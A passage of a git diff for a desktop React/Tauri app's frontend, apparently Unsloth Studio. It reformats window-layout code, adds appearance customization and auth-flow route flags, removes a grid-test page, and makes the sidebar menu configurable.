+): Promise<void> {
+  const { getCurrentWindow, currentMonitor, LogicalSize } = await import(
+    "@tauri-apps/api/window"
+  );
   const { invoke } = await import("@tauri-apps/api/core");
-  const { restoreStateCurrent, StateFlags } = await import("@tauri-apps/plugin-window-state");
+  const { restoreStateCurrent, StateFlags } = await import(
+    "@tauri-apps/plugin-window-state"
+  );
   if (!isCurrent()) return;
 
   const win = getCurrentWindow();
@@ -123,7 +138,10 @@ async function applyAppWindowLayout(isCurrent: WindowLayoutGuard): Promise<void>
   if (!isCurrent()) return;
   // Apply constraints after restore/show: doing so before plugin restore can emit
   // a Resized event and overwrite the plugin's cached saved size.
-  await win.setSizeConstraints({ minWidth: MIN_WINDOW_WIDTH, minHeight: MIN_WINDOW_HEIGHT });
+  await win.setSizeConstraints({
+    minWidth: MIN_WINDOW_WIDTH,
+    minHeight: MIN_WINDOW_HEIGHT,
+  });
   if (!isCurrent()) return;
   await enforceMinimumWindowSize(win, LogicalSize, isCurrent);
 }
@@ -252,9 +270,18 @@ const CUSTOM_CHROME_STYLE = {
 function TauriWrapper({ children }: { children: ReactNode }) {
   const pathname = useRouterState({ select: (s) => s.location.pathname });
   const {
-    status, logs, error, isExternalServer,
-    currentStepIndex, progressDetail, elevationPackages,
-    startInstall, retry, retryInstall, approveElevation, copyDiagnostics,
+    status,
+    logs,
+    error,
+    isExternalServer,
+    currentStepIndex,
+    progressDetail,
+    elevationPackages,
+    startInstall,
+    retry,
+    retryInstall,
+    approveElevation,
+    copyDiagnostics,
   } = useTauriBackend();
 
   const appliedWindowModeRef = useRef<TauriWindowMode | null>(null);
@@ -288,14 +315,18 @@ function TauriWrapper({ children }: { children: ReactNode }) {
 
     const layoutGeneration = windowLayoutGenerationRef.current + 1;
     windowLayoutGenerationRef.current = layoutGeneration;
-    const isCurrent = () => windowLayoutGenerationRef.current === layoutGeneration;
-    const applyWindowMode = nextMode === "setup" ? showSetupWindow : applyAppWindowLayout;
+    const isCurrent = () =>
+      windowLayoutGenerationRef.current === layoutGeneration;
+    const applyWindowMode =
+      nextMode === "setup" ? showSetupWindow : applyAppWindowLayout;
     applyWindowMode(isCurrent).catch(async () => {
       if (!isCurrent()) return;
       // On failure, at minimum make the window visible and resizable so user can fix manually.
       try {
         await showWindowFallback();
-      } catch { /* swallow — window may still be functional */ }
+      } catch {
+        /* swallow; window may still be functional */
+      }
     });
   }, [status]);
 
@@ -325,7 +356,9 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       }
     });
 
-    return () => { disposed = true; };
+    return () => {
+      disposed = true;
+    };
   }, [status, desktopAuthRetry]);
 
   useEffect(() => {
@@ -370,7 +403,9 @@ function TauriWrapper({ children }: { children: ReactNode }) {
           positioned={false}
           enabled={showInteractiveApp && !hidesTitlebarSidebar}
         />
-        {showInteractiveApp ? <DownloadManagerPanel positioned={false} /> : null}
+        {showInteractiveApp ? (
+          <DownloadManagerPanel positioned={false} />
+        ) : null}
       </TauriUpdateLayer>
       {showInteractiveApp ? <NativeIntentDrain /> : null}
       {showInteractiveApp ? children : null}
@@ -378,7 +413,10 @@ function TauriWrapper({ children }: { children: ReactNode }) {
         <div className="pointer-events-none fixed inset-x-0 bottom-5 z-[9999] flex justify-center px-4">
           <div className="absolute inset-x-4 bottom-16 mx-auto flex max-w-[520px] flex-col items-center gap-2 rounded-2xl border border-border/70 bg-background/95 px-6 py-5 text-center shadow-xl">
             <div className="font-medium text-sm">Preparing Studio</div>
-            <div className="text-muted-foreground text-xs">The local backend is ready. Signing in to your desktop session before loading chats.</div>
+            <div className="text-muted-foreground text-xs">
+              The local backend is ready. Signing in to your desktop session
+              before loading chats.
+            </div>
           </div>
           <div className="rounded-full border border-border/70 bg-background/95 px-4 py-2 text-xs text-muted-foreground shadow-lg">
             Signing in to desktop session...
@@ -416,9 +454,9 @@ function TauriWrapper({ children }: { children: ReactNode }) {
           }
           style={MAC_NATIVE_CHROME_STYLE}
         >
-          {(!showApp || hidesTitlebarSidebar) ? (
+          {!showApp || hidesTitlebarSidebar ? (
             <div
-              data-tauri-drag-region
+              data-tauri-drag-region={true}
               aria-hidden="true"
               className="pointer-events-auto fixed inset-x-0 top-0 z-50 h-[var(--studio-mac-titlebar-height,34px)] select-none"
             />
@@ -428,13 +466,10 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       );
     }
 
-    return (
-      <>{content}</>
-    );
+    return <>{content}</>;
   }
 
-  const showSidebarSurface =
-    showApp && !hidesTitlebarSidebar;
+  const showSidebarSurface = showApp && !hidesTitlebarSidebar;
 
   return (
     <div
@@ -442,20 +477,40 @@ function TauriWrapper({ children }: { children: ReactNode }) {
       style={CUSTOM_CHROME_STYLE}
     >
       <WindowTitlebar showSidebarSurface={showSidebarSurface} />
-      <div className="h-full min-h-0 overflow-hidden">
-        {content}
-      </div>
+      <div className="h-full min-h-0 overflow-hidden">{content}</div>
     </div>
   );
 }
 
+/**
+ * Mirrors the appearance customization store onto <html> (inline CSS vars,
+ * classes, attributes). Colors are per resolved light/dark mode, so re-apply
+ * whenever either the customization or the resolved theme changes.
+ */
+function AppearanceCustomizationEffect() {
+  const { resolved } = useTheme();
+  const customization = useAppearanceCustomStore((s) => s.customization);
+  useEffect(() => {
+    applyCustomizationToDocument(customization, resolved);
+  }, [customization, resolved]);
+  return null;
+}
+
+const REDUCED_MOTION_MAP = {
+  system: "user",
+  on: "always",
+  off: "never",
+} as const;
+
 export function AppProvider({ children }: AppProviderProps) {
+  const reduceMotion = useAppearanceCustomStore(
+    (s) => s.customization.reduceMotion,
+  );
   return (
-    <ThemeProvider attribute="class" defaultTheme="system" enableSystem>
+    <MotionConfig reducedMotion={REDUCED_MOTION_MAP[reduceMotion]}>
       <TooltipProvider>
-        <TauriWrapper>
-          {children}
-        </TauriWrapper>
+        <AppearanceCustomizationEffect />
+        <TauriWrapper>{children}</TauriWrapper>
         <Toaster
           position="top-right"
           visibleToasts={2}
@@ -465,6 +520,6 @@ export function AppProvider({ children }: AppProviderProps) {
           offset={{ top: 12, right: 64 }}
         />
       </TooltipProvider>
-    </ThemeProvider>
+    </MotionConfig>
   );
 }
diff --git a/studio/frontend/src/app/router.tsx b/studio/frontend/src/app/router.tsx
index 5c18e637e2..586c03d5df 100644
--- a/studio/frontend/src/app/router.tsx
+++ b/studio/frontend/src/app/router.tsx
@@ -10,7 +10,6 @@ import { Route as dataRecipesRoute } from "./routes/data-recipes";
 import { Route as dataRecipeRoute } from "./routes/data-recipes.$recipeId";
 import { Route as chatRoute } from "./routes/chat";
 import { Route as exportRoute } from "./routes/export";
-import { Route as gridTestRoute } from "./routes/grid-test";
 import { Route as indexRoute } from "./routes/index";
 import { Route as loginRoute } from "./routes/login";
 import { Route as hubRoute } from "./routes/hub";
@@ -25,7 +24,6 @@ const routeTree = rootRoute.addChildren([
   onboardingRoute,
   loginRoute,
   changePasswordRoute,
-  gridTestRoute,
   hubRoute,
   settingsRoute,
   studioRoute,
diff --git a/studio/frontend/src/app/routes/__root.tsx b/studio/frontend/src/app/routes/__root.tsx
index e5fa6f0191..ba56ce7525 100644
--- a/studio/frontend/src/app/routes/__root.tsx
+++ b/studio/frontend/src/app/routes/__root.tsx
@@ -16,6 +16,7 @@ import {
   type ChatSearch,
 } from "@/features/chat";
 import { RemoteCodeConsentDialog } from "@/features/security";
+import { TransformersUpgradeDialog } from "@/features/transformers-upgrade";
 import { useTrainingUnloadGuard } from "@/features/training";
 import { useExportRuntimeLifecycle } from "@/features/export";
 import { hasAuthToken } from "@/features/auth";
@@ -44,6 +45,7 @@ declare module "@tanstack/react-router" {
   interface StaticDataRouteOption {
     title?: string;
     titleKey?: TranslationKey;
+    isAuthFlow?: boolean;
   }
 }
 
@@ -70,6 +72,9 @@ const CHAT_ONLY_ALLOWED = new Set([
   "/login",
   "/signup",
   "/change-password",
+  // Export stays reachable on chat-only hosts so the page can show its own grayed-out reason
+  // instead of a silent redirect; it self-gates via export capability, so nothing runs.
+  "/export",
 ]);
 
 function isChatOnlyAllowed(pathname: string): boolean {
@@ -100,6 +105,9 @@ function RootLayout() {
   const t = useT();
   const pathname = useRouterState({ select: (s) => s.location.pathname });
   const hideNavbar = HIDDEN_NAVBAR_ROUTES.includes(pathname);
+  const isAuthFlowRoute = useMatches({
+    select: (matches) => matches.some((match) => match.staticData.isAuthFlow),
+  });
   // Exact match: a prefix would treat /chatty as chat, hiding its not-found UI.
   const isChatRoute = pathname === "/chat";
   const { pinned, setPinned, togglePinned } = useSidebarPin();
@@ -158,7 +166,8 @@ function RootLayout() {
   });
 
   const settingsDialogOpen = useSettingsDialogStore((s) => s.open);
-  const documentTitle = settingsDialogOpen ? t("settings.title") : matchedTitle;
+  const documentTitle =
+    settingsDialogOpen && !isAuthFlowRoute ? t("settings.title") : matchedTitle;
 
   useLayoutEffect(() => {
     document.title = documentTitle
@@ -167,9 +176,13 @@ function RootLayout() {
   }, [documentTitle]);
 
   useEffect(() => {
+    if (isAuthFlowRoute) {
+      useSettingsDialogStore.getState().closeDialog();
+    }
     const handler = (e: KeyboardEvent) => {
       if (e.defaultPrevented) return;
       if ((e.metaKey || e.ctrlKey) && e.key === ",") {
+        if (isAuthFlowRoute) return;
         e.preventDefault();
         useSettingsDialogStore.getState().openDialog();
         return;
@@ -193,7 +206,7 @@ function RootLayout() {
     };
     window.addEventListener("keydown", handler);
     return () => window.removeEventListener("keydown", handler);
-  }, [navigate]);
+  }, [isAuthFlowRoute, navigate]);
 
   useEffect(() => {
     if (isChatRoute) return;
@@ -216,8 +229,9 @@ function RootLayout() {
   return (
     <AppProvider>
       <PersonalizationSyncMount />
-      <SettingsDialog />
+      {!isAuthFlowRoute && <SettingsDialog />}
       <RemoteCodeConsentDialog />
+      <TransformersUpgradeDialog />
       {hideNavbar ? (
         <main className="flex-1 pt-[var(--studio-hidden-route-top-inset,0px)] [--studio-titlebar-height:var(--studio-hidden-route-top-inset,0px)]">
           <Suspense fallback={<RouteFallback />}>
diff --git a/studio/frontend/src/app/routes/change-password.tsx b/studio/frontend/src/app/routes/change-password.tsx
index 55c8ceaa9c..beaf7ef60b 100644
--- a/studio/frontend/src/app/routes/change-password.tsx
+++ b/studio/frontend/src/app/routes/change-password.tsx
@@ -15,7 +15,7 @@ const ChangePasswordPage = lazy(() =>
 export const Route = createRoute({
   getParentRoute: () => rootRoute,
   path: "/change-password",
-  staticData: { title: "Change Password" },
+  staticData: { title: "Change Password", isAuthFlow: true },
   beforeLoad: () => requirePasswordChangeFlow(),
   component: ChangePasswordPage,
 });
diff --git a/studio/frontend/src/app/routes/grid-test.tsx b/studio/frontend/src/app/routes/grid-test.tsx
deleted file mode 100644
index c4b6b505a1..0000000000
--- a/studio/frontend/src/app/routes/grid-test.tsx
+++ /dev/null
@@ -1,69 +0,0 @@
-// SPDX-License-Identifier: AGPL-3.0-only
-// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-import { DashboardGrid, DashboardLayout } from "@/components/layout";
-import {
-  Card,
-  CardContent,
-  CardDescription,
-  CardHeader,
-  CardTitle,
-} from "@/components/ui/card";
-import { createRoute } from "@tanstack/react-router";
-import { requireAuth } from "../auth-guards";
-import { Route as rootRoute } from "./__root";
-
-export const Route = createRoute({
-  getParentRoute: () => rootRoute,
-  path: "/grid-test",
-  beforeLoad: () => requireAuth(),
-  component: GridTestPage,
-});
-
-function GridTestPage() {
-  return (
-    <DashboardLayout>
-      <div className="space-y-8">
-        <div>
-          <h1 className="text-2xl font-semibold">Grid Test - 3 Columns</h1>
-          <p className="text-muted-foreground">
-            max-w-7xl, gap-6, responsive 1→2→3
-          </p>
-        </div>
-
-        <DashboardGrid cols={3}>
-          {[1, 2, 3].map((i) => (
-            <Card key={i}>
-              <CardHeader>
-                <CardTitle>Card {i}</CardTitle>
-                <CardDescription>~400px at 1280px viewport</CardDescription>
-              </CardHeader>
-              <CardContent>
-                <div className="h-24 rounded-lg bg-muted" />
-              </CardContent>
-            </Card>
-          ))}
-        </DashboardGrid>
-
-        <div>
-          <h2 className="text-xl font-semibold">4 Columns</h2>
-          <p className="text-muted-foreground">~296px per card at 1280px</p>
-        </div>
-
-        <DashboardGrid cols={4}>
-          {[1, 2, 3, 4].map((i) => (
-            <Card key={i} size="sm">
-              <CardHeader>
-                <CardTitle>Card {i}</CardTitle>
-                <CardDescription>Smaller cards</CardDescription>
-              </CardHeader>
-              <CardContent>
-                <div className="h-16 rounded-lg bg-muted" />
-              </CardContent>
-            </Card>
-          ))}
-        </DashboardGrid>
-      </div>
-    </DashboardLayout>
-  );
-}
diff --git a/studio/frontend/src/app/routes/login.tsx b/studio/frontend/src/app/routes/login.tsx
index bfd1b82132..756e826a83 100644
--- a/studio/frontend/src/app/routes/login.tsx
+++ b/studio/frontend/src/app/routes/login.tsx
@@ -13,7 +13,7 @@ const LoginPage = lazy(() =>
 export const Route = createRoute({
   getParentRoute: () => rootRoute,
   path: "/login",
-  staticData: { title: "Login" },
+  staticData: { title: "Login", isAuthFlow: true },
   beforeLoad: () => requireGuest(),
   component: LoginPage,
 });
diff --git a/studio/frontend/src/app/routes/onboarding.tsx b/studio/frontend/src/app/routes/onboarding.tsx
index 6c31d794ba..bdac4162b0 100644
--- a/studio/frontend/src/app/routes/onboarding.tsx
+++ b/studio/frontend/src/app/routes/onboarding.tsx
@@ -17,7 +17,7 @@ const WizardLayout = lazy(() =>
 export const Route = createRoute({
   getParentRoute: () => rootRoute,
   path: "/onboarding",
-  staticData: { title: "Onboarding" },
+  staticData: { title: "Onboarding", isAuthFlow: true },
   beforeLoad: () => requireAuth(),
   validateSearch: (search: Record<string, unknown>): OnboardingSearch => ({
     redirectTo: typeof search.redirectTo === "string" ? search.redirectTo : undefined,
diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index ef4178ea42..b6e218793a 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -56,6 +56,8 @@ import {
   ArrowRight02Icon,
   BadgeInfoIcon,
   ChefHatIcon,
+  CloudIcon,
+  CpuIcon,
   CursorInfo02Icon,
   DashboardCircleIcon,
   Delete02Icon,
@@ -68,7 +70,9 @@ import {
   Globe02Icon,
   HelpCircleIcon,
   Logout05Icon,
+  Message01Icon,
   MoreVerticalIcon,
+  PaintBrush02Icon,
   Search01Icon,
   PinIcon,
   PinOffIcon,
@@ -79,14 +83,9 @@ import {
   Settings02Icon,
   Sun03Icon,
   TestTube01Icon,
+  UserIcon,
   ZapIcon,
 } from "@hugeicons/core-free-icons";
-import {
-  exportConversationRawJsonl,
-  exportConversationCsv,
-  exportConversationShareGPT,
-} from "@/features/chat/prompt-storage/prompt-storage-dialog";
-import { listStoredChatThreads } from "@/features/chat/utils/chat-history-storage";
 import {
   Tooltip,
   TooltipContent,
@@ -102,6 +101,7 @@ import {
   createChatProject,
   deleteChatProject,
   deleteChatItem,
+  listStoredChatThreads,
   moveChatItemToProject,
   renameChatItem,
   renameChatProject,
@@ -114,7 +114,10 @@ import {
   type ProjectRecord,
   type SidebarItem,
 } from "@/features/chat";
-import { useSettingsDialogStore } from "@/features/settings";
+import {
+  useAppearanceCustomStore,
+  useSettingsDialogStore,
+} from "@/features/settings";
 import { useEffectiveProfile, UserAvatar } from "@/features/profile";
 import { fetchDeviceType, usePlatformStore } from "@/config/env";
 import { clearAuthTokens, logout } from "@/features/auth";
@@ -167,6 +170,19 @@ function getTourId(pathname: string): string | null {
   return null;
 }
 
+// Optional user-menu shortcuts that jump straight to a settings tab; the id
+// doubles as the settings dialog tab id.
+const SETTINGS_TAB_MENU_ITEMS: Record<
+  "profile" | "appearance" | "resources" | "chat" | "connections",
+  { icon: typeof ZapIcon; labelKey: TranslationKey }
+> = {
+  profile: { icon: UserIcon, labelKey: "settings.tabs.profile" },
+  appearance: { icon: PaintBrush02Icon, labelKey: "settings.tabs.appearance" },
+  resources: { icon: CpuIcon, labelKey: "settings.tabs.resources" },
+  chat: { icon: Message01Icon, labelKey: "settings.tabs.chat" },
+  connections: { icon: CloudIcon, labelKey: "settings.tabs.connections" },
+};
+
 // TestTube01Icon's last 2 paths are interior bubbles; slice to the first
 // 3 (outline + cap + liquid line) to drop them. Original export untouched.
 const TestTubeOutlineIcon = TestTube01Icon.slice(
@@ -174,6 +190,36 @@ const TestTubeOutlineIcon = TestTube01Icon.slice(
   3,
 ) as typeof TestTube01Icon;
 
+
+type ConversationExportFormat = "raw-jsonl" | "csv" | "sharegpt-jsonl";
+
+const CHAT_EXPORT_OPTIONS: Array<{
+  label: string;
+  format: ConversationExportFormat;
+}> = [
+  { label: "Raw JSONL", format: "raw-jsonl" },
+  { label: "CSV", format: "csv" },
+  { label: "ShareGPT JSONL", format: "sharegpt-jsonl" },
+];
+
+async function exportConversationByFormat(
+  threadId: string,
+  format: ConversationExportFormat,
+): Promise<void> {
+  const exports = await import(
+    "@/features/chat/prompt-storage/prompt-storage-dialog"
+  );
+  switch (format) {
+    case "raw-jsonl":
+      return exports.exportConversationRawJsonl(threadId);
+    case "csv":
+      return exports.exportConversationCsv(threadId);
+    case "sharegpt-jsonl":
+      return exports.exportConversationShareGPT(threadId);
+  }
+}
+
+
 function runStatusDotClass(status: TrainingRunSummary["status"]): string {
   switch (status) {
     case "running":
@@ -265,6 +311,9 @@ function NavItem({
 export function AppSidebar() {
   const t = useT();
   const { isDark, toggleTheme, anchorRef } = useAnimatedThemeToggle();
+  const sidebarMenu = useAppearanceCustomStore(
+    (s) => s.customization.sidebarMenu,
+  );
   const [usesCustomTitlebar] = useState(shouldUseCustomWindowTitlebar);
   const [usesNativeMacTitlebar] = useState(shouldUseNativeMacWindowTitlebar);
   const { pathname, search } = useRouterState({
@@ -290,13 +339,12 @@ export function AppSidebar() {
 
   const chatOnly = usePlatformStore((s) => s.isChatOnly());
   const chatOnlyReason = usePlatformStore((s) => s.chatOnlyReason);
-  // When Train/Export are greyed out (chat-only host), explain why on hover
-  // instead of disabling them silently. mlx_unavailable is the common macOS case
-  // after a reinstall/update dropped MLX and is recoverable via `unsloth studio update`.
-  const trainExportDisabledHint: string | undefined = !chatOnly
+  // Explain a greyed-out Train (chat-only host) on hover instead of disabling silently. Export is
+  // no longer disabled here: it stays navigable so its page can show a precise grayed-out reason.
+  const trainDisabledHint: string | undefined = !chatOnly
     ? undefined
     : chatOnlyReason === "mlx_unavailable"
-      ? "Training needs MLX. Run `unsloth studio update` to enable Train and Export."
+      ? "Training needs MLX. Run `unsloth studio update` to enable Train."
       : chatOnlyReason === "intel_mac"
         ? "Training needs Apple Silicon or a GPU. Intel Macs are chat-only."
         : chatOnlyReason === "no_gpu"
@@ -360,7 +408,11 @@ export function AppSidebar() {
   const activeProjectId = isChatRoute
     ? ((search.project as string | undefined) ?? null)
     : null;
-  const { items: allChatItems } = useChatSidebarItems({
+  const {
+    items: allChatItems,
+    archivedItems: archivedChatItems,
+    loaded: chatItemsLoaded,
+  } = useChatSidebarItems({
     enabled: !isStudioRoute,
     requireMessages: false,
   });
@@ -554,7 +606,14 @@ export function AppSidebar() {
   useEffect(() => {
     if (!pendingRename) return;
     const match = allChatItems.find((i) => i.id === pendingRename.id);
-    if (match && match.title === pendingRename.title) setPendingRename(null);
+    if (!match || match.title !== pendingRename.title) return;
+    queueMicrotask(() => {
+      setPendingRename((current) =>
+        current?.id === pendingRename.id && current.title === pendingRename.title
+          ? null
+          : current,
+      );
+    });
   }, [allChatItems, pendingRename]);
   const [creatingProject, setCreatingProject] = useState(false);
   const [projectNameDraft, setProjectNameDraft] = useState("");
@@ -652,12 +711,6 @@ export function AppSidebar() {
     useState<DeleteTarget | null>(null);
   const [deleteProjectFiles, setDeleteProjectFiles] = useState(false);
 
-  useEffect(() => {
-    if (confirmingDelete?.kind !== "project") {
-      setDeleteProjectFiles(false);
-    }
-  }, [confirmingDelete]);
-
   async function commitDelete() {
     const target = confirmingDelete;
     if (!target) return;
@@ -896,11 +949,7 @@ export function AppSidebar() {
                 <span>Export</span>
               </DropdownMenuSubTrigger>
               <DropdownMenuSubContent sideOffset={8} alignOffset={-4} className="unsloth-plus-menu w-52">
-                {[
-                  { label: "Raw JSONL", fn: exportConversationRawJsonl },
-                  { label: "CSV", fn: exportConversationCsv },
-                  { label: "ShareGPT JSONL", fn: exportConversationShareGPT },
-                ].map(({ label, fn }) => (
+                {CHAT_EXPORT_OPTIONS.map(({ label, format }) => (
                   <DropdownMenuItem
                     key={label}
                     onSelect={async () => {
@@ -908,7 +957,9 @@ export function AppSidebar() {
                         const ids = item.type === "single"
                           ? [item.id]
                           : (await listStoredChatThreads({ pairId: item.id })).map((t) => t.id);
-                        await Promise.all(ids.map((id) => fn(id)));
+                        await Promise.all(
+                          ids.map((id) => exportConversationByFormat(id, format)),
+                        );
                       } catch {
                         toast.error("Export failed.");
                       }
@@ -1041,7 +1092,7 @@ export function AppSidebar() {
                     <button
                       type="button"
                       onClick={togglePinned}
-                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-icon-idle dark:text-nav-fg-muted transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                       aria-label={t("shell.aria.closeSidebar")}
                     >
                       <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
@@ -1064,7 +1115,7 @@ export function AppSidebar() {
                     <button
                       type="button"
                       onClick={togglePinned}
-                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring"
+                      className="inline-flex h-[33px] w-[32px] cursor-pointer items-center justify-center rounded-[10px] text-nav-fg transition-colors hover:bg-nav-surface-hover hover:text-black dark:hover:text-white focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring"
                       aria-label={t("shell.aria.openSidebar")}
                     >
                       <HugeiconsIcon icon={LayoutAlignLeftIcon} strokeWidth={1.75} className="size-icon" />
@@ -1206,7 +1257,7 @@ export function AppSidebar() {
                   pathname === "/studio" || pathname.startsWith("/studio/")
                 }
                 disabled={chatOnly}
-                tooltip={trainExportDisabledHint}
+                tooltip={trainDisabledHint}
                 spinner={trainingInProgress}
                 onClick={() => {
                   if (chatOnly) return;
@@ -1235,7 +1286,7 @@ export function AppSidebar() {
                     label={t("shell.navigation.train")}
                     active={pathname === "/studio" || pathname.startsWith("/studio/")}
                     disabled={chatOnly}
-                    tooltip={trainExportDisabledHint}
+                    tooltip={trainDisabledHint}
                     spinner={trainingInProgress}
                     onClick={() => {
                       if (chatOnly) return;
@@ -1256,11 +1307,8 @@ export function AppSidebar() {
                     icon={DownloadSquare01Icon}
                     label={t("shell.navigation.export")}
                     active={pathname === "/export" || pathname.startsWith("/export/")}
-                    disabled={chatOnly}
-                    tooltip={trainExportDisabledHint}
                     spinner={exportInProgress}
                     onClick={() => {
-                      if (chatOnly) return;
                       navigate({ to: "/export" });
                       closeMobileIfOpen();
                     }}
@@ -1310,6 +1358,16 @@ export function AppSidebar() {
                       renderChatSidebarItem(item, "recent"),
                     )}
                   </SidebarMenu>
+                  {/* "No chats yet" only when there is truly no history:
+                      project-scoped and archived threads leave Recents empty
+                      but still count as existing chats. */}
+                  {chatItemsLoaded &&
+                    allChatItems.length === 0 &&
+                    archivedChatItems.length === 0 && (
+                      <p className="px-3 py-2 text-xs text-muted-foreground">
+                        {t("shell.navigation.noChatsYet")}
+                      </p>
+                    )}
                 </SidebarGroupContent>
               </CollapsibleContent>
             </SidebarGroup>
@@ -1452,7 +1510,7 @@ export function AppSidebar() {
                     .openDialog("about", { scrollTarget: "about-updates" });
                   closeMobileIfOpen();
                 }}
-                className="flex h-[44px] w-full items-center gap-[9px] rounded-[14px] border border-border/60 bg-transparent px-2 py-[3px] text-left transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:h-[34px] group-data-[collapsible=icon]:w-[34px] group-data-[collapsible=icon]:justify-center group-data-[collapsible=icon]:gap-0 group-data-[collapsible=icon]:rounded-full group-data-[collapsible=icon]:p-0"
+                className="flex h-[44px] w-full items-center gap-[9px] rounded-[14px] border border-border/60 bg-transparent px-2 py-[3px] text-left transition-colors hover:bg-nav-surface-hover focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:h-[34px] group-data-[collapsible=icon]:w-[34px] group-data-[collapsible=icon]:justify-center group-data-[collapsible=icon]:gap-0 group-data-[collapsible=icon]:rounded-full group-data-[collapsible=icon]:p-0"
               >
                 <span
                   aria-hidden="true"
@@ -1493,7 +1551,7 @@ export function AppSidebar() {
                 <SidebarMenuButton
                   size="lg"
                   aria-label={t("shell.accountMenu", { name: displayTitle })}
-                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] px-2 py-[3px] rounded-[14px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
+                  className="sidebar-nav-btn !h-[44px] -my-[3px] gap-[9px] pl-2 pr-[45px] py-[3px] rounded-[14px] group-data-[collapsible=icon]:!size-[34px] group-data-[collapsible=icon]:!rounded-full group-data-[collapsible=icon]:!p-0 group-data-[collapsible=icon]:mx-auto group-data-[collapsible=icon]:justify-center"
                 >
                   <div className="flex shrink-0 items-center">
                     <UserAvatar
@@ -1503,21 +1561,12 @@ export function AppSidebar() {
                       className="!size-[32px] group-data-[collapsible=icon]:!rounded-full"
                     />
                   </div>
-                  <div className="flex flex-col gap-px leading-tight group-data-[collapsible=icon]:hidden">
+                  {/* min-w-0 so long names truncate instead of overflowing;
+                      pr on the button reserves room for the settings cog */}
+                  <div className="flex min-w-0 flex-1 flex-col gap-px leading-tight group-data-[collapsible=icon]:hidden">
                     <span className="truncate font-heading text-[13.5px] tracking-[0.025em] dark:tracking-[0.04em] font-semibold text-nav-fg">{displayTitle}</span>
                     <span className="truncate text-[11.5px] tracking-nav text-muted-foreground">Unsloth</span>
                   </div>
-                  {/* settings cog (replaces the up/down chevron) */}
-                  <span
-                    aria-hidden="true"
-                    className="ml-auto flex size-[32px] shrink-0 items-center justify-center text-muted-foreground group-data-[collapsible=icon]:hidden"
-                  >
-                    <HugeiconsIcon
-                      icon={Settings02Icon}
-                      strokeWidth={1.5}
-                      className="!size-[18px]"
-                    />
-                  </span>
                 </SidebarMenuButton>
               </DropdownMenuTrigger>
               <DropdownMenuContent
@@ -1534,42 +1583,71 @@ export function AppSidebar() {
                     <span>{t("shell.navigation.settings")}</span>
                     <DropdownMenuShortcut>⌘,</DropdownMenuShortcut>
                   </DropdownMenuItem>
-                  <DropdownMenuItem
-                    onSelect={() => useSettingsDialogStore.getState().openDialog("api-keys")}
-                  >
-                    <HugeiconsIcon icon={Globe02Icon} strokeWidth={1.75} className="size-[18px]" />
-                    <span>{t("shell.navigation.api")}</span>
-                    <span className="ml-auto rounded-full bg-emerald-500/10 px-2 py-1 text-[10px] leading-none font-semibold text-emerald-700 dark:text-emerald-300">
-                      {t("common.new")}
-                    </span>
-                  </DropdownMenuItem>
-                  <DropdownMenuItem
-                    ref={anchorRef as React.Ref<HTMLDivElement>}
-                    onSelect={(e) => { e.preventDefault(); toggleTheme(); }}
-                  >
-                    {isDark ? <HugeiconsIcon icon={Sun03Icon} strokeWidth={1.75} className="size-icon" /> : <Moon strokeWidth={1.75} className="size-icon" />}
-                    <span>
-                      {isDark
-                        ? t("shell.navigation.lightMode")
-                        : t("shell.navigation.darkMode")}
-                    </span>
-                  </DropdownMenuItem>
-                  {getTourId(pathname) && (
-                    <DropdownMenuItem
-                      onSelect={() => {
-                        const tourId = getTourId(pathname);
-                        if (!tourId) return;
-                        window.dispatchEvent(
-                          new CustomEvent(TOUR_OPEN_EVENT, {
-                            detail: { id: tourId },
-                          }),
-                        );
-                      }}
-                    >
-                      <HugeiconsIcon icon={CursorInfo02Icon} strokeWidth={1.75} className="size-icon" />
-                      <span>{t("shell.navigation.guidedTour")}</span>
-                    </DropdownMenuItem>
-                  )}
+                  {/* Optional items follow the order and visibility set in
+                      Appearance settings; Settings above and the block after
+                      the separator are pinned. */}
+                  {sidebarMenu.map((item) => {
+                    if (!item.visible) return null;
+                    if (item.id === "api") {
+                      return (
+                        <DropdownMenuItem
+                          key={item.id}
+                          onSelect={() => useSettingsDialogStore.getState().openDialog("api-keys")}
+                        >
+                          <HugeiconsIcon icon={Globe02Icon} strokeWidth={1.75} className="size-[18px]" />
+                          <span>{t("shell.navigation.api")}</span>
+                        </DropdownMenuItem>
+                      );
+                    }
+                    if (item.id === "darkMode") {
+                      return (
+                        <DropdownMenuItem
+                          key={item.id}
+                          ref={anchorRef as React.Ref<HTMLDivElement>}
+                          onSelect={(e) => { e.preventDefault(); toggleTheme(); }}
+                        >
+                          {isDark ? <HugeiconsIcon icon={Sun03Icon} strokeWidth={1.75} className="size-icon" /> : <Moon strokeWidth={1.75} className="size-icon" />}
+                          <span>
+                            {isDark
+                              ? t("shell.navigation.lightMode")
+                              : t("shell.navigation.darkMode")}
+                          </span>
+                        </DropdownMenuItem>
+                      );
